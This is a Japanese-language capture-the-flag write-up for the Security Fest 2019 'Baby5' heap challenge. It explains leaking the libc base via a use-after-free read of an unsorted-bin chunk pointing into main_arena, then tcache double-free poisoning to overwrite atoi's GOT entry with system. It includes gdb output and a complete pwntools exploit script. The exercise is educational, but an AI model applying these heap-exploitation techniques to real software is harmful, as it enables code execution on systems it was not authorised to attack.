---
tags: pwn
---
# Security Fest 2019 - Baby5 (Unsorted Bin)
[Security Fest 2019 - Baby5](/@Xornet/ryyrIQmTL)のUnsorted Bin経由のlibc leakを用いた別解になります。Unsorted Binを利用したlibc leakについての解説は結構丁寧に書きましたが、問題概要やtcache poisoning部分については前述の記事と全く同じなので省略します(先にそっちを見てください)。
これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU
## Writeup
### outline
UAFがあるので一度freeされたチャンクの中身を見ることが出来る。ここでサイズがそこそこデカいチャンクはtcacheやfastbinでは無く一度Unsorted Binへ放り込まれ、その`fd`が`main_arena.top`に相当するアドレスを指すようになる。
main_arenaは`malloc_state`構造体なので構造体中で`top`メンバが存在する位置がわかればmain_arenaの配置アドレスがわかる
main_arenaはlibc中に配置されるのでlibc中でmain_arenaが存在する位置がわかればlibc leakができる。あとはtcache poisoningでGOT Overwriteして終わり
### main_arenaの配置場所
main_arenaはlibc中に配置される。また、そのオフセットはlibc毎に固定であるのでもしmain_arenaの配置箇所が判明するとlibcの配置箇所も判明することになる。
実際にgdbでmain_arenaの場所がどこかを見てみる。
```
gdb-peda$ p &main_arena
$1 = (struct malloc_state *) 0x7fffff3ebc40 <main_arena>
```
この例ではどうやら`0x7fffff3ebc40`にあるらしい。ではここでメモリ配置も見てみる。
```
gdb-peda$ info proc map
process 9442
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /mnt/c/share/CTF/nday1pwn/security_fest_2019_-_baby_5/baby5
0x401000 0x402000 0x1000 0x1000 /mnt/c/share/CTF/nday1pwn/security_fest_2019_-_baby_5/baby5
0x601000 0x602000 0x1000 0x1000 /mnt/c/share/CTF/nday1pwn/security_fest_2019_-_baby_5/baby5
0x602000 0x603000 0x1000 0x2000 /mnt/c/share/CTF/nday1pwn/security_fest_2019_-_baby_5/baby5
0x603000 0x605000 0x2000 0x0
0x7fffff000000 0x7fffff1e7000 0x1e7000 0x0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fffff1e7000 0x7fffff1f0000 0x9000 0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fffff1f0000 0x7fffff3e7000 0x1f7000 0x1f0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fffff3e7000 0x7fffff3eb000 0x4000 0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fffff3eb000 0x7fffff3ed000 0x2000 0x1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fffff3ed000 0x7fffff3f1000 0x4000 0x0
0x7fffff400000 0x7fffff403000 0x3000 0x0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fffff403000 0x7fffff404000 0x1000 0x3000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fffff404000 0x7fffff405000 0x1000 0x4000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fffff405000 0x7fffff406000 0x1000 0x5000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fffff406000 0x7fffff407000 0x1000 0x6000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fffff407000 0x7fffff415000 0xe000 0x7000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fffff415000 0x7fffff416000 0x1000 0x15000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fffff416000 0x7fffff417000 0x1000 0x16000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fffff417000 0x7fffff426000 0xf000 0x17000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fffff426000 0x7fffff427000 0x1000 0x26000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fffff627000 0x7fffff628000 0x1000 0x27000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fffff628000 0x7fffff629000 0x1000 0x28000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fffff629000 0x7fffff62a000 0x1000 0x0
0x7fffff7d0000 0x7fffff7d2000 0x2000 0x0
0x7fffff7ef000 0x7ffffffef000 0x800000 0x0 [stack]
0x7ffffffef000 0x7fffffff0000 0x1000 0x0 [vdso]
```
これを見るとlibcはどうやら`0x7fffff000000`に配置されているらしい。ということはmain_arenaのlibc中のオフセットは`0x3ebc40`になる。
では続いてmalloc_state構造体でtopメンバがどの位置にあるかを調べる。gdbで`p main_arena`とすると中身が整理されて見れるので覗いてみる。mallocが呼ばれないとtopは0のままなので一旦mallocを呼ぶところまでプログラムを進めたとする。
```
gdb-peda$ p main_arena
$2 = {
mutex = 0x0,
flags = 0x0,
have_fastchunks = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x8402280,
last_remainder = 0x0,
bins = { (snip...) }
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7fffff3ebc40 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
```
ではmain_arena付近のメモリを覗いてみる
```
$ x/16xg &main_arena
0x7fffff3ebc40 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7fffff3ebc50 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7fffff3ebc60 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7fffff3ebc70 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7fffff3ebc80 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7fffff3ebc90 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7fffff3ebca0 <main_arena+96>: 0x0000000008402280 0x0000000000000000
0x7fffff3ebcb0 <main_arena+112>: 0x00007fffff3ebca0 0x00007fffff3ebca0
```
`<main_arena+96>`、つまりmain_arenaの位置から0x60だけ離れたところにtopメンバの値が入っていることがわかる。
### UAFからUnsorted Binを利用したlibc leak
さて、Unsorted Binに入ったチャンクのfdは`main_arena.top`を指す。ということはfreeした後にこのチャンクを覗く(show)ことが出来れば先程の検証で判明した値(オフセット)を利用してlibcの配置場所を特定することが出来る。
先程の検証で`&main_arena.top = &libc + 0x3ebc40 + 0x60`ということが分かった。というわけで判明した値からこの2つの値を引けばlibcの配置アドレスが判明する。
### tcache poisoning
libcが無事に判明したので後はいつもどおりtcache poisoningをするだけである。今回はDouble Freeして`atoi`のGOTを`system`のアドレスに書き換えて選択肢に`"/bin/sh"`を送り込んでシェルを起動した。
## Code
```python
from pwn import process, p64, u64, ELF
def _select(s, sel, c=b"> "):
s.recvuntil(c)
s.sendline(sel)
def add(s, size, data=b"junk"):
_select(s, b"1")
print("[+] add")
s.recvuntil("size: ")
s.sendline(str(size).encode())
s.recvuntil("data: ")
s.sendline(data)
def edit(s, idx, size, data):
_select(s, b"2")
print("[+] edit")
s.recvuntil("item: ")
s.sendline(str(idx).encode())
s.recvuntil("size: ")
s.sendline(str(size).encode())
s.recvuntil("data: ")
s.sendline(data)
def delete(s, idx):
_select(s, b"3")
print("[+] delete")
s.recvuntil("item: ")
s.sendline(str(idx).encode())
def show(s, idx):
_select(s, b"4")
print("[+] show")
s.recvuntil("item: ")
s.sendline(str(idx).encode())
s.recvuntil("data: ")
return s.recvline().rstrip()
if __name__ == '__main__':
elf = ELF("./baby5")
libc = ELF("./libc.so.6") # 2.27
atoi_got = elf.got["atoi"]
ptr_list = 0x6020c0
atoi_libc = libc.symbols["atoi"]
system_libc = libc.symbols["system"]
arena_top_libc = 0x3ebc40 + 0x60
s = process("./baby5")
add(s, 0x500) # idx = 0 -> to Unsorted bin
add(s, 0x20) # idx = 1 -> to tcache
delete(s, 0)
libc_base = u64(show(s, 0).ljust(8, b"\x00")) - arena_top_libc
print(hex(libc_base))
system_addr = libc_base + system_libc
# tcache poisoning
delete(s, 1)
delete(s, 1)
add(s, 0x20, p64(atoi_got))
add(s, 0x20)
add(s, 0x20, p64(system_addr))
_select(s, b"/bin/sh")
"""
--- https://hackmd.io/@Xornet/ryyrIQmTL ---
idx = 0
add(s, 0x20)
delete(s, idx)
edit(s, 0, 0x20, p64(ptr_list))
add(s, 0x20)
add(s, 0x20, p64(atoi_got))
libcbase = u64(show(s, 0).ljust(8, b"\x00")) - atoi_libc
print(hex(libcbase))
system_addr = libcbase + system_libc
edit(s, 0, 0x20, p64(system_addr))
_select(s, b"/bin/sh")
"""
s.interactive()
```
## Flag
ローカルでシェル取っただけなのでないです
## 参考Writeup
* [ptr-yudaiさんのwriteup](https://bitbucket.org/ptr-yudai/writeups/src/master/2019/Security_Fest_2019/Baby5/)
* [Jsecさんのwriteup](https://blog.naver.com/yjw_sz/221545467240)